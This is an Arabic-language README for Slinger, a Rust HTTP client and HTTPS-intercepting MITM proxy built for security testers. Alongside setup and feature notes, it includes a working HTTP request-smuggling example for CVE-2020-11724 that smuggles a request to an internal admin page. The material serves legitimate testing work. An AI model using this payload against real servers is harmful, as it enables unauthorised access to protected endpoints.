
عميل HTTP مطوَّر خصيصًا لباحثي الأمن السيبراني
عميل HTTP مكتوب بلغة Rust مصمم للمخترقين.
استكشف التوثيق »
عرض توضيحي
·
الإبلاغ عن خطأ
·
طلب ميزة

Slinger هو مساحة عمل تحتوي على:
مكتبة عميل HTTP الأساسية للغة Rust، مصممة للمخترقين.
بروكسي وسيط (Man-in-the-Middle - MITM) مع اعتراض شفاف لحركة مرور HTTPS، مشابه لـ Burp Suite.
هذا المثال يفعّل بعض الميزات الاختيارية، لذلك قد يبدو ملف Cargo.toml الخاص بك هكذا:
[dependencies]
slinger = { version = "0.2.9", features = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }
ثم الكود:
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let resp = slinger::get("https://httpbin.org/get").await?;
println!("{:?}", resp.text());
Ok(())
}
أضف إلى ملف Cargo.toml الخاص بك:
[dependencies]
slinger-mitm = { version = "0.2.9" }
tokio = { version = "1", features = ["full"] }
مثال على الكود:
use slinger_mitm::{MitmConfig, MitmProxy, Interceptor};
use std::sync::Arc;
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let config = MitmConfig::default();
let proxy = MitmProxy::new(config).await?;
// Add logging interceptor
let handler = proxy.interceptor_handler();
let mut h = handler.write().await;
h.add_request_interceptor(Arc::new(Interceptor::logging()));
drop(h);
proxy.start("127.0.0.1:8080").await?;
Ok(())
}
راجع slinger-mitm/README.md لمزيد من التفاصيل حول استخدام بروكسي MITM.
يدعم Slinger الميزات الاختيارية التالية:
tls - ميزة TLS الأساسية (تفعّل أنواع وواجهات TLS دون خلفية محددة)rustls - دعم HTTPS باستخدام Rustls (يتطلب tls، تنفيذ بلغة Rust خالصة)http2 - دعم بروتوكول HTTP/2 (يتطلب خلفية TLS)cookie - دعم التعامل مع ملفات تعريف الارتباطcharset - دعم ترميز الأحرفserde - دعم التسلسل وإلغاء التسلسلgzip - دعم ضغط Gzipschema - دعم مخطط JSON (JSON Schema)لاستخدام TLS، يجب عليك:
tlsrustls، أو توفير موصل TLS مخصصأمثلة على مجموعات الميزات:
# Using rustls backend
slinger = { version = "0.2.8", features = ["tls", "rustls"] }
# Using custom TLS backend (requires implementing CustomTlsConnector)
slinger = { version = "0.2.8", features = ["tls"] }
إذا كنت تريد استخدام native-tls أو OpenSSL أو مكتبات TLS أخرى، يمكنك تنفيذ موصل TLS مخصص. راجع native_tls_example.rs للحصول على مثال كامل حول كيفية دمج native-tls.
use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};
/// CVE-2020-11724
/// when you're using BurpSuite proxy need **disabled** "set **Connection** header on incoming request"
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked
0
GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0
";
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
// let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
let client = ClientBuilder::default().build().unwrap();
let mut raw = Vec::new();
// replace \n to \r\n
for line in RAW.lines() {
match line {
Ok(l) => {
raw.extend(l.as_bytes());
raw.extend(b"\r\n")
}
Err(err) => {
println!("{:?}", err);
}
}
}
let resp = client.raw("http://127.0.0.1:9015/", raw, true).send().await?;
let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
println!("{:?}", record);
Ok(())
}
لمزيد من الأمثلة، يرجى الرجوع إلى الأمثلة
المساهمات هي ما يجعل مجتمع المصادر المفتوحة مكانًا رائعًا للتعلّم والإلهام والإبداع. أي مساهمات تقدمها موضع تقدير كبير.
إذا كان لديك اقتراح من شأنه تحسين هذا المشروع، فيرجى عمل fork للمستودع وإنشاء طلب سحب (pull request). يمكنك أيضًا ببساطة فتح issue بوسم "enhancement". لا تنسَ منح المشروع نجمة! شكرًا مجددًا!
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)موزّع بموجب ترخيص GPL-3.0-only. راجع LICENSE لمزيد من المعلومات.
اسمك - @Kali_Team - [email protected]
رابط المشروع: https://github.com/emo-crab/slinger